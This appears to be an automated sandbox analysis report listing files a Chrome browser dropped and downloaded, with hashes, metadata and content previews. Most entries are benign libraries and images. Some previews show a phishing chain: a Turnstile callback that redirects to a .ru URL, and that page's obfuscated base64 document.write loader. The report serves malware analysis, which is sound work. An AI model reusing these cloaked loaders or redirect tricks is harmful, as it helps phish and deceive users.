SHA-256:	C32CDC798FEA21049686B1A40B11D2CDAA7894831EFF161740589F54FC4401FD
SHA-512:	34A29F80D3FA7E0E4572884CA3EB109DC6FE509F741D22D6E9E00E66E52A56CC9545F778A82F8A85BB09DF96457A740815D88869EE49870D0B33F6AA24F89FA5
Malicious:	false
Preview:	L..................F.@.. ...$+.,....$..;TQ..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.n....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.n....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.n....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.n..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............{......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.010512466698323
Encrypted:	false
SSDEEP:	48:8ldWTS+AHVidAKZdA14meh7sFiZUkmgqeh7sey+BX:8+fgnMy
MD5:	118F8C9277296B8F8FA72A86A85032A0
SHA1:	F9ADC246061A13A6537D745181FC51404AB6866F
SHA-256:	FCEA915F4C9BA9933B86C5BDA855B4E27AF867E02EFC92928DF04965BA1129BD
SHA-512:	F80DA1599DCB67AEB3FDE7913FC7A44A553BE591BA2DAB5BB5D48918BFCFFF10837BA773EDE40B846CFCE4D7BD1DF12FF78312DA36F3A3F2A79A9546D3DF358A
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.n....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.n....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.n....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.n..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............{......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 18 12:53:36 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.000090151353006
Encrypted:	false
SSDEEP:	48:8ydWTS+eHVidAKZdA1TehDiZUkwqehEy+R:8rfBWy
MD5:	F2732C1655B3EB18B952C89379AABCBC
SHA1:	3638D8BBBADCA1E3DCCBD72613EC4AE4B6F7B806
SHA-256:	3DD0B919E33711FF00391C08334AC6ACAEBA6E1E2BAD0CF69A3CC7A4031B2CF7
SHA-512:	196C56FF7D0C90D4964B5DC1F0F85706E8775BD1F973C08BFBD3B53CAB612725BB8E06FF144C15242AF76FDBD271F9773C5568BD7FB5E9D4A3102AF92EFBD068
Malicious:	false
Preview:	L..................F.@.. ...$+.,...../.;TQ..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.n....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.n....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.n....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.n..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............{......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 18 12:53:36 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9891087764854607
Encrypted:	false
SSDEEP:	48:8QdWTS+eHVidAKZdA1dehBiZUk1W1qehSy+C:8Rfh9yy
MD5:	5093ECC1F993D0572503AE0FFC432176
SHA1:	F59EA0F788ECA405034BDD1BA3F3E7FB12423DFB
SHA-256:	FFA9C870BF8FC3DDAC10ECAA80A793DC57C477C49CF53B289DA45D20A88FFB87
SHA-512:	0E072420707F3DDF2AA5BAE41E2FD383C2E195CE2E4D7E7D7C949124723B10C42146C07398FD32C76C6D47950512A605B9980B19F44BF36BBDF3449F8C16EEA0
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....3.<TQ..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.n....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.n....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.n....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.n..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............{......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 18 12:53:35 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9967134425419157
Encrypted:	false
SSDEEP:	48:8DdWTS+eHVidAKZdA1duTeehOuTbbiZUk5OjqehOuTbMy+yT+:8UfpTfTbxWOvTbMy7T
MD5:	8F9D91AFF3154EFC7A251652D3BDC0CC
SHA1:	D90F642C15F702A7B26FDD46B9FBA6DE885ED895
SHA-256:	DB23BBF18790DB668703D5C727D19202728B8EE3ED025D4D03523E5B09E9C9FA
SHA-512:	BB18E9FE2EDBDDCC175809FFB44753FC06649ADEA37BB7F39A285C0C508564325F1E101A22F72706EDEC4BC4F6905CC340D3A9DB548F45C8E4FFAC9466716A0B
Malicious:	false
Preview:	L..................F.@.. ...$+.,....~..;TQ..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.n....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.n....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.n....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.n..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............{......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.5
Encrypted:	false
SSDEEP:	3:H+rYn:D
MD5:	F1C9C44E663E7E62582E3F5B236C1C72
SHA1:	E142F3A0C2D1CDF175A5C3AF43AD66FEFE208B1F
SHA-256:	D843E67FBFA1F5CB0024062861EE26860C5A866F80755CF39B3465459A8538B9
SHA-512:	19FE62CB9D884BB3424C51DD15E74EB22E5A639BABF8398BACEBB781862296FA0D7AEE39C88CB9C7AF5791FD58830AC3433F5C6BD94B1BA3912AB33151E93452
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAmd4P77yIm5PxIFDTcwqTA=?alt=proto
Preview:	CgkKBw03MKkwGgA=

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 1741x979, Suserng: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	101503
Entropy (8bit):	7.997140696424409
Encrypted:	true
SSDEEP:	3072:ibuyn9NZDLjSk2CB8bAsKDFN8+OUwNuuYWpt:y9NtjzKkpN8VLu+b
MD5:	C2477C52676FD222C3AB56B35794A38A
SHA1:	0AE11CDE0CBD83469FC25B4F11BD4B834F15F026
SHA-256:	1A9E65C3B003980D084821DB4766CCC5D37E82C7E1C817A639FE009CC123EB81
SHA-512:	BC42B1271C90B41834EB1512ED373BB34016DBB9C67283F4C57D5D712D3449E4154E81B6CD846DDA984D3E9FD13E868C4A13272133D20F021425EB1684C82AF6
Malicious:	false
URL:	https://cdn.prod.website-files.com/5f15081919fdf673994ab5fd/656e7a8eaa7a23c65aeb7444_Gmail-In-App-Screenshot-(1080p).webp
Preview:	RIFF...WEBPVP8 .....>.......>.F.K...,..9A...in.f.Y....... j.........._.)\|u.......=.?.....'M.W........c........t........7.'.o.?.{_..@?.z\z.~.{.. .C...W._........}@?..jt......?.?......../..<....._._....G...?........_........_._.................._........G.?.`.Q./..../.....o./.A......?.\|.u/.?........s...?.............~.A.{.W....C.q.......?..`?....................y...........\|..:.................k.....o..........u..................m.....{.....q..-..f.$M.. E........L'&..^...........<.y+.-.+..5.......b...FTM.c...............JMA...$...`+.x.]... ..7kc\|..5....%.x.W{..&4......:.t....;.w@.....t..(.T)a6F........."......%\u...'D..........}..3....F.Lbh.g..g....-....3..%.W9....n.F~5R/5J..ql..~.F.B.LX.+...S.......+.0+c\|...F........;.O..i.`..D.ez+uRj.I..9..e..q...;.u.c1.'itl...F....dx..pN......Y...\|...&~>Q...o=.1`.)!.d.....A....~......8....Q.E.dj..V.`U...XUQ....o.}..pe%.-..H.....J.7........58.-.....".<..O._..N..;.i..b..1".I.}-...>......f.]...Ue....w.L._.z...

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	320
Entropy (8bit):	4.90908163502439
Encrypted:	false
SSDEEP:	6:HtW9lD+/98MPpC7T1PgDHodNXpKpWgLZmUemmHl0WuEQwK59n:NWqeM4wq87ZmHxHmrVR59n
MD5:	7BFA83AE98C3615618ED24FA26759DD1
SHA1:	3C5ABC913FBF5DBB24EA48F971C1AD127F48FF4D
SHA-256:	38E1A417058EEAF69DF1DF0DAAE0FD065002478BF9699A5C5A5AE0474444B31E
SHA-512:	444B27F335278EA84B22442269CEE0607E0FFC5463545522D146C2684A95B08007F8A6AA7129103DA3B0EA9C46D3DC54A7AA790A0EC235EC2836A32B175CA1F0
Malicious:	false
Preview:	window.onloadTurnstileCallback = function () {.. turnstile.render('#myWidget', {.. sitekey: '0x4AAAAAAA2_hQhHwsUHMEvv',.. callback: function(token) {.. console.log('Challenge Success ${token}');.. window.location.href = "https://32.ergeane.ru/yNriUGk0/";.. },.. });.. };

Chrome Cache Entry: 171

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (358)
Category:	downloaded
Size (bytes):	11816
Entropy (8bit):	5.037139572888145
Encrypted:	false
SSDEEP:	192:bpvXn2H25Zx48DNYGu6C9tdDOxktft1zQOPtaUrzvHlPuPQXGuV27BHplXtAUU/s:FvX2H25v4CYn6etFTBvhtv4IcpRtlU/s
MD5:	A8063BD37D3C8FB3176A6BF140558A4D
SHA1:	E32CF4B407DB3D3773DED13FF64B70FDBAD7735F
SHA-256:	BCCB23D41C2CC69CF0C7D22C4314CA8181A513C6999B73E45307792830F4E482
SHA-512:	82D749F6B17B21587FB345CA196A2AA83ECA80AD66ED9C1AB88B36709BED14175D53AFEFE9ACC0DAFC4FAD78FFB8DF155193A6829BC857AD6D68B1C84AF7B854
Malicious:	false
URL:	https://8h2f94s.actransbelgium.be/favicon.ico
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">.<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">.<head profile="http://gmpg.org/xfn/11">. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />. <title>404 - PAGE NOT FOUND</title>...... Add Slide Outs -->.....<script src="http://code.jquery.com/jquery-3.3.1.min.js"></script> .....<script src="/cgi-sys/js/simple-expand.min.js"></script>. . <style type="text/css">. body{padding:0;margin:0;font-family:helvetica;}. #container{margin:20px auto;width:868px;}. #container #top404{background-image:url('/cgi-sys/images/404top_w.jpg');background-repeat:no-repeat;width:868px;height:168px;}. #container #mid404{background-image:url('/cgi-sys/images/404mid.gif');background-repeat:repeat-y;width:868px;}. #container #mid404 #gatorbottom{position:relative;left:39px;float:left;}. #

Chrome Cache Entry: 172

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47691)
Category:	downloaded
Size (bytes):	47692
Entropy (8bit):	5.4016459163756165
Encrypted:	false
SSDEEP:	768:IXCtQmIutwVHuzZBF6gmXLSOzQDjdxdOQbk6sgEvk/7b39tobLKZUanw81KZLGcD:IGJWHuzZBF6xbGfLsVvy33FUaDW
MD5:	9046FDD8B20F930F537279DEDE41E747
SHA1:	EBB905F60D71F45D056D42E6096736EA8C2D4BD9
SHA-256:	5AAC9E52F80011983676C03AD8120E0369E651E6357D0B05054026A3BC8EC32D
SHA-512:	F289C718B32D9E75E5725116D7696070C840426310B2A75E3EE66933E50B85BF738B4015FCFB8BAF7A8545B600B9820D85F8BB41C055FB0877C1420655E5E975
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/b/787bc399e22f/api.js
Preview:	"use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Ht(u,o,c,g,h,"next",l)}function h(l){Ht(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 173

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 59 x 58, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.035372245524405
Encrypted:	false
SSDEEP:	3:yionv//thPlKdt3Tk/l/xl/k4E08up:6v/lhPs7E17Tp
MD5:	2D99B3929BA34C6EECA48A73893A45E9
SHA1:	09038CD3501903CF99802B25A091006AD26E212A
SHA-256:	EBCA5A4AA813D3F1F00B59D371DBB9BCAAF9660FAD835D249E35BEAE66A28F1B
SHA-512:	A429998F31646F2201E2C01F0F9BBE1A423EC731346E1803AFD58CDC9C03E9B13A607E58AF9E98ADF353CA73AF0DA21E8F30351B6A050973F99643E36BA55F5F
Malicious:	false
Preview:	.PNG........IHDR...;...:........A....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 174

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47691)
Category:	dropped
Size (bytes):	47692
Entropy (8bit):	5.4016459163756165
Encrypted:	false
SSDEEP:	768:IXCtQmIutwVHuzZBF6gmXLSOzQDjdxdOQbk6sgEvk/7b39tobLKZUanw81KZLGcD:IGJWHuzZBF6xbGfLsVvy33FUaDW
MD5:	9046FDD8B20F930F537279DEDE41E747
SHA1:	EBB905F60D71F45D056D42E6096736EA8C2D4BD9
SHA-256:	5AAC9E52F80011983676C03AD8120E0369E651E6357D0B05054026A3BC8EC32D
SHA-512:	F289C718B32D9E75E5725116D7696070C840426310B2A75E3EE66933E50B85BF738B4015FCFB8BAF7A8545B600B9820D85F8BB41C055FB0877C1420655E5E975
Malicious:	false
Preview:	"use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Ht(u,o,c,g,h,"next",l)}function h(l){Ht(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 175

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (65452), with CRLF line terminators
Category:	downloaded
Size (bytes):	441716
Entropy (8bit):	3.3129049297586923
Encrypted:	false
SSDEEP:	768:oktYmG/kw9TUoaq1M8oHVO5V9T9UHCktYmG/kw9TUoaq1M8oHVO5V9T9UglrMRl7:oIYR/kw9TUo28XmCIYR/kw9TUo28XBAh
MD5:	7D504C0E531C7C3D24471EDE192DB1D7
SHA1:	DA11C6628EDAB87E4B1438F3EFBF3D72843913B9
SHA-256:	82EECC675FE895DEC402F7976D0A7939F5DA44691ED4D042AF25932560B47B35
SHA-512:	AC73913A8F6AEFE0BD0835A501E4D425A93AF96894108CC2DFF2B17D620D0CDD9018489CCD5E56736B54C6C69C9373F0B723A163424AA7348F88BD0C8C1948F3
Malicious:	false
URL:	https://32.ergeane.ru/yNriUGk0/
Preview:	<script>....if(atob("aHR0cHM6Ly8zMi5lcmdlYW5lLnJ1L3lOcmlVR2swLw==") == "nomatch"){..document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4NCiAgICA8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vaW5kZXgsIG5vZm9sbG93Ij4NCiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+DQogICAgPHRpdGxlPiYjODIwMzs8L3RpdGxlPg0KPHN0eWxlPg0KYm9keSwgaHRtbCB7DQptYXJnaW46IDA7DQpwYWRkaW5nOiAwOw0KaGVpZ2h0OiAxMDAlOw0Kb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCg0KLmJhY2tncm91bmQtY29udGFpbmVyIHsNCiAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgaGVpZ2h0OiAxMDAlOw0KICAgIHdpZHRoOiAxMDAlOw0KfQ0KLmJhY2tncm91bmQtY29udGFpbmVyIC5iYWNrZ3JvdW5kIHsNCiAgICBjb250ZW50OiAiIjsNCiAgICBwb3NpdGlvbjogYWJzb2x1dGU7DQogICAgdG9wOiAwOw0KICAgIGxlZnQ6IDA7DQogICAgcmlnaHQ6IDA7DQogICAgYm90dG9tO

Chrome Cache Entry: 176

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
